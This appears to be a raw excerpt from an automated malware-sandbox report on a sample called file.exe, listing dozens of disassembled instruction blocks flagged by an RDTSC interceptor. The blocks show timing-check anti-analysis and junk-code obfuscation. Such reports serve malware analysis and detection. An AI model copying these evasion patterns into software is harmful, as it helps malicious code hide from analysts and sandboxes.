Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC08A second address: ADC095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC095 second address: ADC099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AFFD second address: A5B005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B005 second address: A5B00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA81FC second address: AA8201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8201 second address: A87F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30F40A60h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jmp 00007FDF30F40A60h 0x00000012 lea eax, dword ptr [ebp+12489FA0h] 0x00000018 mov cx, 6A1Ah 0x0000001c nop 0x0000001d jnc 00007FDF30F40A71h 0x00000023 push eax 0x00000024 jmp 00007FDF30F40A5Ch 0x00000029 nop 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007FDF30F40A58h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 or ecx, dword ptr [ebp+122D2B86h] 0x0000004a call dword ptr [ebp+122D1BD2h] 0x00000050 push ecx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA835F second address: AA8384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FDF30D0E2F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8384 second address: AA839E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDF30F40A60h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA839E second address: AA83A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA83A4 second address: AA83A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA894D second address: AA8953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA903C second address: AA9040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9377 second address: AA937B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA937B second address: AA93DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a movzx edx, si 0x0000000d jno 00007FDF30F40A5Ch 0x00000013 lea eax, dword ptr [ebp+12489FE4h] 0x00000019 sub dword ptr [ebp+12454379h], ebx 0x0000001f push eax 0x00000020 push edi 0x00000021 pushad 0x00000022 push edx 0x00000023 pop edx 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 pop edi 0x00000028 mov dword ptr [esp], eax 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007FDF30F40A58h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 lea eax, dword ptr [ebp+12489FA0h] 0x0000004b movsx ecx, bx 0x0000004e push eax 0x0000004f push ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 push edi 0x00000053 pop edi 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA93DE second address: AA93E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0CDA second address: AE0D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30F40A5Bh 0x00000009 popad 0x0000000a jnl 00007FDF30F40A5Eh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0D01 second address: AE0D16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E301h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0D16 second address: AE0D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3FA6 second address: AE3FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3FAA second address: AE3FB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A5Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3FB9 second address: AE3FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3FC2 second address: AE3FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnp 00007FDF30F40A56h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FDF30F40A62h 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3FEA second address: AE3FF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6328B second address: A6328F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE796B second address: AE79A7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 jbe 00007FDF30D0E30Ch 0x0000000c jmp 00007FDF30D0E304h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007FDF30D0E304h 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE79A7 second address: AE79B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 jns 00007FDF30F40A56h 0x0000000c pop esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7ACA second address: AE7AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7AD0 second address: AE7B0B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDF30F40A56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e jmp 00007FDF30F40A61h 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007FDF30F40A64h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7C8A second address: AE7C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7C90 second address: AE7CB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A66h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7CB4 second address: AE7CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA51A second address: AEA51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA048 second address: AEA053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA053 second address: AEA092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A65h 0x00000007 jmp 00007FDF30F40A61h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FDF30F40A5Dh 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA092 second address: AEA096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA096 second address: AEA0B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A67h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA1F4 second address: AEA210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30D0E307h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA210 second address: AEA221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF30F40A5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED907 second address: AED90D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED90D second address: AED913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED913 second address: AED91D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF30D0E302h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDC0A second address: AEDC10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDC10 second address: AEDC14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDC14 second address: AEDC19 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDEED second address: AEDEF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDEF1 second address: AEDF10 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDF30F40A56h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDF30F40A60h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF224E second address: AF2264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E2FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2264 second address: AF226B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1608 second address: AF160C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1736 second address: AF1740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF18B3 second address: AF18BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF18BB second address: AF18DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDF30F40A66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF18DB second address: AF18F3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF30D0E302h 0x00000008 jp 00007FDF30D0E2F6h 0x0000000e jnc 00007FDF30D0E2F6h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1D06 second address: AF1D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1E52 second address: AF1E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8EF2 second address: AA8F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 or dword ptr [ebp+122D22B6h], ecx 0x0000000e mov edi, dword ptr [ebp+122D2CBEh] 0x00000014 push 00000004h 0x00000016 mov ecx, dword ptr [ebp+122D1C08h] 0x0000001c push eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8F14 second address: AA8F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8F18 second address: AA8F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7EDE second address: AF7EF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E302h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7EF4 second address: AF7F0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A62h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7F0C second address: AF7F10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7F10 second address: AF7F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30F40A65h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7F32 second address: AF7F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8116 second address: AF811A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF811A second address: AF812B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FDF30D0E2FBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF3A3 second address: AFF3A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF66D second address: AFF68E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 jmp 00007FDF30D0E2FBh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDF30D0E2FCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFF7D second address: AFFF85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFF85 second address: AFFF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00556 second address: B0056E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDF30F40A56h 0x00000008 ja 00007FDF30F40A56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007FDF30F40A73h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00B48 second address: B00B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00DA6 second address: B00DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CA60 second address: A5CA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30D0E305h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0C7BB second address: B0C7C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 jl 00007FDF30F40A56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0BA55 second address: B0BA59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0BA59 second address: B0BA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0C4BB second address: B0C4C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0C4C5 second address: B0C4D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007FDF30F40A56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12A3F second address: B12A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12A43 second address: B12A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12E34 second address: B12E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDF30D0E302h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12E40 second address: B12E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1329E second address: B132A9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13552 second address: B13590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jns 00007FDF30F40A56h 0x00000010 popad 0x00000011 jmp 00007FDF30F40A61h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FDF30F40A69h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13844 second address: B13854 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDF30D0E2F6h 0x00000008 jns 00007FDF30D0E2F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13854 second address: B13863 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push edx 0x00000007 jl 00007FDF30F40A56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14633 second address: B1463F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDF30D0E2F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12569 second address: B125DE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF30F40A56h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FDF30F40A68h 0x00000012 jmp 00007FDF30F40A60h 0x00000017 pop edi 0x00000018 jmp 00007FDF30F40A5Dh 0x0000001d pushad 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 jmp 00007FDF30F40A61h 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 pop eax 0x00000029 popad 0x0000002a popad 0x0000002b pushad 0x0000002c push edi 0x0000002d pushad 0x0000002e popad 0x0000002f jmp 00007FDF30F40A5Dh 0x00000034 pop edi 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B125DE second address: B125E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B125E2 second address: B125F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A5Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B125F4 second address: B125FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1850A second address: B1850E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1850E second address: B18545 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E306h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FDF30D0E2F6h 0x00000011 jmp 00007FDF30D0E305h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18545 second address: B18549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
